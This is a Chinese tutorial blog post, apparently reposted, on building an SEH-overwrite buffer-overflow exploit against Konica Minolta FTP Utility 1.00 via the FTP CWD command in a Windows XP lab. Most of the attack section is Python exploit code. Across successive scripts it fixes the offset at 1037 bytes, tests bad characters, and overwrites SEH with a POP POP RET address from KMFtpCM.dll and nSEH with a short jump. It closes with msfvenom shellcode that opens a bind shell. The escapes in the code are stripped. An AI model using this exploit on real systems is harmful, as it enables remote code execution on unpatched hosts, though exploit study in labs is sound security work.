linux 查看socket缓冲区溢出_跟小黑学漏洞利用开发之SEH溢出


书接上回,我们继续研究如何在Win32系统上利用缓冲区漏洞,完成我们新漏洞利用开发,主要是关于SEH漏洞利用问题。相比上一篇直接覆盖EIP相比,EIP覆盖此效果虽然很好,但也会存在稳定性问题(如无法找到jmp指令,或者需要地址硬编码)并且还会遇到缓冲区大小问题,从而可能限制用于目标机器shellcode空间问题。写到这里有些人想说对于SafeSEH和SEHOP绕过利用这个我们有机会在后续篇文章研究。
1.准备
WindowsXP—Sp3(目标机)
kali-linux(攻击机)
Konica Minolta FTP Utility 1.00
ImmunityDebugger 1.85(调试工具)—x64、OD等动态调试器都可以
需要对了解X86汇编
对python有一定了解
2.关于SEH
SEH俗称“结构化处理程序”,也有叫“SEH链” 当程序出现除零、非法内存访问、文件打开错误、内存不足等问题,Windows为其提供一次补救机会,即异常处理机制。SEH即异常处理结构体,如下图,每个SEH包含两个DWORD指针,处理异常必须满足两个要去:(1)一个指向当前异常处理函数的指针(SEH) (2)指向下一个异常处理结构的指针(Nseh). 因为Windows堆栈是向下生长的。所以我们看到异常处理结构是颠倒的[nSEH…[SEH]。详情如下图所示。

d3e04e0e8212187d2101c790698f5488.png


到此可以思考,此类问题跟开篇简单的缓冲区溢出有啥区别?如果我们例如上篇文章发送大量异常数据并且触发了SEH处理机制,windows会把寄存器清理,因此不能向往常跳EIP转执行Shellcode。值得庆幸的地方是此机制存在缺陷,我们只需要pop、pop、retn指令覆盖SEH,nSEH地址保存在ESP+8处,pop、pop、retn执行后最终会跳到nSEH执行,至此我们可以控制nSEH,就可以向上篇文章中一样控制shellcode。大致利用流程如下图所示。

cd755c3ee49713d743b6d95caceacf9d.png


综上所述,我们的基本SEH利用需要以下条件:

  • nSEH的偏移量
  • nSEH 代码跳转跳过SEH
  • 寻找包含POP POP RET指令的地址
  • 编写Shellcode

3.控制SEH和nSEH
下面此漏洞利用POC,首先登陆FTP服务器,发送“CWD”命令,此命令是改变工作目录,此命令后发送到10000个A溢出数据以确定是否引发程序崩溃以及控制SEH链。此POC在实战中唯一缺点是我们需要一个FTP用户。#!/usr/bin/python import socket import sys evil = "A"*10000 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.137.128',21)) data = s.recv(1024) s.send('USER anonymous' + 'rn') data = s.recv(1024) s.send('PASS anonymous' + 'rn') data = s.recv(1024) s.send('CWD ' + evil + 'rn') data = s.recv(1024) s.send('QUITrn') s.close
程序发送的崩溃,ImmunityDebugger堆栈窗口,如果查看此线程的堆栈(右下窗口),将能够看到从00CAF978开始的SEH链。


在Immunity中查看SEH链的最简单的方法是按Alt + S;我们看到nSEH和SEH已经覆盖。

1994e62a379c97eeef52885b042ced2d.png


现在我们需要确定控制nSEH和SEH所需要的字节数。此时我们需要利用非重复性字符串确认偏移量使用前篇小工具msf-pattern_create生成唯一字符串,以确定SEH覆盖偏移量长度。详情代码如下。#!/usr/bin/python import socket import sys #evil = "A"*10000 evil = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8AcAh7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A*****************省略*************** iAku4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.137.128',21)) data = s.recv(1024) s.send('USER anonymous' + 'rn') data = s.recv(1024) s.send('PASS anonymous' + 'rn') data = s.recv(1024) s.send('CWD ' + evil + 'rn') data = s.recv(1024) s.send('QUITrn') s.close
重新发起请求,我们查看是否重写nSEH和SEH,同时我们可以利用几种方法确认偏移量,如metasploit中msf-pattern_offset,或者mona工具使用命令!mona findmsp。如图所示,计算出偏移为1037个字节就可以控制SEH链。


确认nSEH和SEH偏移量。我们调整python脚本,并用1037个“ A”填充缓冲区,确保足够覆盖。nSEH指针填充4个字节,为SEH填充4个字节,并在Immunity中确认SEH链的结果。代码如下。#!/usr/bin/python import socket import sys #offset = 1037 evil = "A"*1037 + "B" * 4 + "C" * 4 + "D" * (10000-1037-4-4) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.137.128',21)) data = s.recv(1024) s.send('USER anonymous' + 'rn') data = s.recv(1024) s.send('PASS anonymous' + 'rn') data = s.recv(1024) s.send('CWD ' + evil + 'rn') data = s.recv(1024) s.send('QUITrn') s.close


4.坏字节
通过观察,发现位于B和C之后D的缓冲区。这是一个存储并检验所有坏字节的好地方。#!/usr/bin/python import socket import sys #offset = 1037 badchars = ("x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10" "x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20" "x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30" "x31x32x33x34x35x36x37x38x39x3ax3b x3dx3ex3fx40" "x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50" "x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60" "x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70" "x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80" "x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90" "x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0" "xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0" "xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0" "xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0" "xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0" "xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0" "xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff") evil = "A"*1037 + "B" * 4 + "C" * 4 + badchars + "D" * (10000-1037-4-4-len(badchars)) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.137.128',21)) data = s.recv(1024) s.send('USER anonymous' + 'rn') data = s.recv(1024) s.send('PASS anonymous' + 'rn') data = s.recv(1024) s.send('CWD ' + evil + 'rn') data = s.recv(1024) s.send('QUITrn') s.close
再次重新发起请求。可以看出,除了NULL(x00)字节外,没有其他坏字符被识别。

660e5d80703bbcafa991d2e57e157cdc.png


5.寻找未保护Pop Pop ret指令模块
现在,我们需要寻找在未开启ALSR、safeSEH保护的Pop Pop ret模块,在Immunity中使用mona,可以通过!mona seh命令,专用于查找此SEH模块,当然metasploit也提供相关工具,有兴趣小伙伴可以了解下。如图所示,使用目标程序自带动态链接库的KMFtpCM.dll中0x122063b0地址可以为我们所用。

bf8432c54cb6f207bddd39eea317ee6c.png


更新代码如下#!/usr/bin/python import socket import sys #offset = 1037 #seh =0x122063b0 nseh = "x42x42x42x42" seh = "xb0x63x20x12" evil = "A"*1037 + nseh + seh + "D" * (10000-1037-4-4) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.137.128',21)) data = s.recv(1024) s.send('USER anonymous' + 'rn') data = s.recv(1024) s.send('PASS anonymous' + 'rn') data = s.recv(1024) s.send('CWD ' + evil + 'rn') data = s.recv(1024) s.send('QUITrn') s.close
修改后代码有效,并且SEH被pop pop ret 命令覆盖,通过按SHIFT + F9忽略异常运行,被重定向到POP POP RET指令的地址


进入POP POP RET指令将重定向到nSEH记录,该记录包含B的4个字节

fbcafe84c2e56779ffadd1b7db92316a.png


6.跳转指令
现在最后一步我们需要确定跳转指令到shellcode缓冲区大小,通过计算最终跳转地址计算地址为十六进制670换算十进制1648字节。此空间足以容纳Shellcode。

11044074de3c09e2cbf9041d8ec75bd1.png


此时我们可以使用metasploit中小工具msf-nasm_shell取得opcode。如图所示。


更新代码如下#!/usr/bin/python import socket import sys #offset = 1037 #seh =0x122063b0 nseh = "xEBx12x90x90" seh = "xb0x63x20x12" evil = "A"*1037 + nseh + seh + "D" * (10000-1037-4-4) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.137.128',21)) data = s.recv(1024) s.send('USER anonymous' + 'rn') data = s.recv(1024) s.send('PASS anonymous' + 'rn') data = s.recv(1024) s.send('CWD ' + evil + 'rn') data = s.recv(1024) s.send('QUITrn') s.close
下面是大概执行过程

05e7ae68dfe7250b10e4309133544867.png


通过metasploit使用msfvenom创建开启本地shell,需要注意将“x00”字符排除在外。如图所示。

916f356f1aa3b62da3ad7d91c3d55ede.png


7.漏洞利用
执行最终漏洞利用代码,shellcode开启本地监听端口4444/TCP。连接即可获取最终Shell。

faca32cb2eddb2c1d85ac72aa7937dcd.png

原文链接:https://www.anquanke.com/post/id/192904

欢迎登录安全客 - 有思想的安全新媒体www.anquanke.com/ 加入交流群814450983 获取更多最新资讯

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值